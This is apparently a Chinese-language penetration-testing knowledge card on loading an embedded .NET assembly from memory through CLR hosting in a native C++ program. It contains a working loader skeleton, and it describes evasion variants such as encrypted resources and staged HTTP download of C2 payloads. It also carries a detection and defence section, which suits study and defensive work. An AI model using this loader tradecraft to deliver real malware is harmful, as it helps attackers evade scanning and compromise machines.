♧ Godown 安全知识树

C++ 宿主通过 CLR Hosting 从内嵌资源内存加载 .NET 程序集并反射调用方法

pentest/c2 · verified

一句话结论

未托管的 C++ 进程可以自己启动 CLR,先通过 CLRCreateInstance/ICLRMetaHost::GetRuntime 取得运行时,再用 ICorRuntimeHost::Start 启动 CLR,把内嵌在资源里的 DLL 字节装入 SAFEARRAY 交给默认 AppDomain 的 Load_3,最后用反射找到类型与静态方法并 Invoke 执行;整个过程不需要把 .NET 载荷释放到磁盘,也不需要目标机存在同名 DLL/EXE 文件。

原理

  • 非托管宿主可以托管 CLR:Windows 自带 .NET Framework 的 CLR 提供可变宿主接口。C++ 程序先 CoInitializeEx(COINIT_MULTITHREADED),再 CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, ...) 得到 ICLRMetaHost;用 GetRuntime 依次尝试 v4.0.30319、v2.0.50727 等版本串,拿到可用的 ICLRRuntimeInfo。
  • 启动 CLR 并取得默认域:ICLRRuntimeInfo::GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, ...) 取得 ICorRuntimeHost 后调用 Start() 启动运行时;随后通过 GetDefaultDomain 或 ICorRuntimeHost 的域接口拿到默认 _AppDomain。
  • 从内存加载程序集:_AppDomain::Load_3(SAFEARRAY*, Assembly**) 接收的是程序集字节数组而不是文件路径。加载器把嵌入资源(FindResource/LoadResource/LockResource/SizeofResource)复制到 SafeArrayCreate(VT_UI1, 1, ...) 创建的 SAFEARRAY 中,再调用 Load_3 得到 Assembly。因此磁盘上没有 DLL 文件,也不经过 LoadLibrary/LoadFrom 的文件路径。
  • 反射调用入口:Assembly::GetType_2(bstr_t("Reflectioncall"), ...) 取得托管类型,IType::GetMethod_2(bstr_t("Execute"), BindingFlags_Static | BindingFlags_Public, ...) 取得静态方法,最后 IMethodInfo::Invoke_3(vObj, psaParams, &vRet) 执行。类型名和方法名由加载器约定,可随意改名;参数可通过 SAFEARRAY/VARIANT 传递。
  • 为什么这条链有价值:
  • 恶意逻辑只以字节形式存在于原生 EXE 的资源段,静态扫描看到的是资源数据而不是可识别的 .NET 程序集;
  • 不释放 DLL 到 %TEMP%,不触发“临时目录 DLL 加载”,也没有可供审计的托管可执行文件;
  • CLR(clr.dll、mscoree.dll)是系统组件,许多正常软件也会加载,单纯出现 CLR 加载不等于恶意;
  • 内嵌资源可以在编译前做压缩/XOR/AES,运行时先在内存解密再 Load_3,进一步降低静态特征。
  • 与“托管宿主”方案的差异:Assembly.Load(byte[]) 要求宿主本身已经是 .NET 程序;CLR Hosting 让一个纯 C/C++ 的 PE 也能承载托管载荷,因此外壳可以写成非常小的原生程序,避免 .NET 单文件/托管壳的明显特征。

触发条件

  • 目标为 Windows,已安装 .NET Framework(2.0/3.5 或 4.x;GetRuntime 按版本串探测)。
  • 宿主进程可调用 COM 与 CLR 宿主接口,未被 AppLocker/WDAC 禁止加载 mscoree.dll/clr.dll。
  • 程序集针对的 .NET 版本与目标机运行时兼容;x86/x64 位数也要匹配(AnyCPU 程序集在对应宿主位数下加载)。
  • 加载器拥有可读的嵌入资源或可获取程序集字节(本地资源或远程下载)。
  • 运行该链不需要管理员权限,普通用户即可;是否需要更高权限取决于后续载荷。

利用步骤

  1. 编写 .NET DLL,暴露一个静态方法(如 Execute)作为入口;方法内部可再解密/解压真正的载荷或直接建立 C2 通信。
  2. 把 DLL 作为 RCDATA 资源编译进 C++ 宿主(或在宿主里加密保存),记录资源 ID。
  3. 在 C++ 宿主中初始化 COM 与 CLR Hosting:CLRCreateInstance → GetRuntime → GetInterface(CLSID_CorRuntimeHost) → Start → 取默认 AppDomain。
  4. FindResource/LoadResource/LockResource 读取资源字节,SafeArrayCreate(VT_UI1, 1, ...) + memcpy 构造 SAFEARRAY。
  5. pDefaultAppDomain->Load_3(pSafeArray, &pAssembly) 内存加载程序集。
  6. GetType_2/GetMethod_2 反射定位入口,Invoke_3 调用;按需释放 SAFEARRAY、Assembly 与 CLR 接口。
  7. 可选:加载前对资源做 XOR/AES 解密,或先通过网络取回程序集字节再走同样的 Load_3 路径。

PoC

C++ 宿主关键骨架(省略错误处理与释放):

#include <windows.h>
#include <metahost.h>
#include <mscoree.h>
#pragma comment(lib, "mscoree.lib")

int main() {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    ICLRMetaHost* pMetaHost = nullptr;
    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);

    const wchar_t* runtimes[] = { L"v4.0.30319", L"v2.0.50727", L"v2.0.50215" };
    ICLRRuntimeInfo* pRuntimeInfo = nullptr;
    for (int i = 0; i < 3; i++) {
        if (SUCCEEDED(pMetaHost->GetRuntime(runtimes[i], IID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo)))
            break;
    }

    ICorRuntimeHost* pCorRuntimeHost = nullptr;
    pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (LPVOID*)&pCorRuntimeHost);
    pCorRuntimeHost->Start();

    IUnknown* pUnk = nullptr;
    pCorRuntimeHost->GetDefaultDomain(&pUnk);
    _AppDomain* pDefaultAppDomain = nullptr;
    pUnk->QueryInterface(__uuidof(_AppDomain), (void**)&pDefaultAppDomain);

    HRSRC hRes = FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(101), RT_RCDATA);
    HGLOBAL hResLoad = LoadResource(GetModuleHandle(NULL), hRes);
    void* pResLock = LockResource(hResLoad);
    DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hRes);

    SAFEARRAYBOUND sab = { dwSize, 0 };
    SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, &sab);
    memcpy(pSafeArray->pvData, pResLock, dwSize);

    _Assembly* pAssembly = nullptr;
    pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);

    _Type* pType = nullptr;
    pAssembly->GetType_2(bstr_t(L"Reflectioncall"), &pType);

    _MethodInfo* pMethodInfo = nullptr;
    pType->GetMethod_2(bstr_t(L"Execute"),
                       (BindingFlags)(BindingFlags_Static | BindingFlags_Public),
                       &pMethodInfo);

    VARIANT vObj, vRet;
    SAFEARRAY* psaParams = SafeArrayCreateVector(VT_VARIANT, 0, 0);
    pMethodInfo->Invoke_3(vObj, psaParams, &vRet);

    // 清理:SafeArrayDestroy / Release / pCorRuntimeHost->Stop() / CoUninitialize()
    return 0;
}

对应的 .NET 入口:

public class Reflectioncall
{
    public static void Execute()
    {
        // 在这里解密/解压后续载荷,或直接建立 C2 通信
    }
}

资源声明(.rc):

101 RCDATA "payload.dll"

变体与关联

  • 变体:程序集字节改为从 HTTP(S) 下载后再 Load_3,实现“原生壳 + 远程托管载荷”的分阶段结构。
  • 变体:资源先用 XOR/AES 加密,运行时解密到内存再构造 SAFEARRAY,静态扫描看不到 PE 头。
  • 变体:把 Load_3 换成 AppDomain::Load/Assembly::LoadFrom 或 Assembly.Load(byte[]);后者要求宿主自身是托管程序。
  • 变体:用 ICLRRuntimeHost::ExecuteInDefaultAppDomain 直接调用托管方法,代码更短,但入口签名固定、灵活度较低。
  • 关联卡片:[[pentest-c2-cross-language-inmemory-loader-chain]]、[[pentest-c2-dotnet-singlefile-embedded-dll-delegate-loader]]、[[pentest-c2-donut-pe-to-shellcode-c-loader]]、[[pentest-c2-adaptixc2-beacon-weaponized-loader-section-injection-wmi]]。

检测与防御

  • 进程行为:非 .NET 的原生进程(尤其无签名、从用户可写目录启动)加载 mscoree.dll/clr.dll,随后进程内出现 CLR 托管代码活动;正常软件也可能加载 CLR,需结合签名、路径、父进程与网络行为。
  • 字符串/导入:PE 导入表或字符串中出现 CLRCreateInstance、ICLRMetaHost、ICorRuntimeHost、Load_3、Start 等组合,尤其是小体积、低信誉样本。
  • 资源段:RCDATA/资源段出现高熵数据或明显的 PE/.NET 元数据(MZ 头经压缩/加密后熵值高);比对资源大小与程序实际行为。
  • 内存:EDR 对 CLR 托管程序集加载、反射 Invoke、Assembly.Load 做遥测;注意本方案不经过 PowerShell,因此 PowerShell 的 AMSI/ScriptBlock 日志不会记录托管载荷。
  • 防御:WDAC/AppLocker 限制未签名原生程序加载 CLR;对用户可写目录执行更严格的控制;监控非常规进程的 CLR 宿主行为;对内存中的托管程序集做扫描与内存取证。
  • 限制:Load_3 加载的程序集仍会在 CLR 内表现为托管模块,内存取证/ETW 托管事件可发现;不同 .NET 版本与位数需匹配,否则加载失败。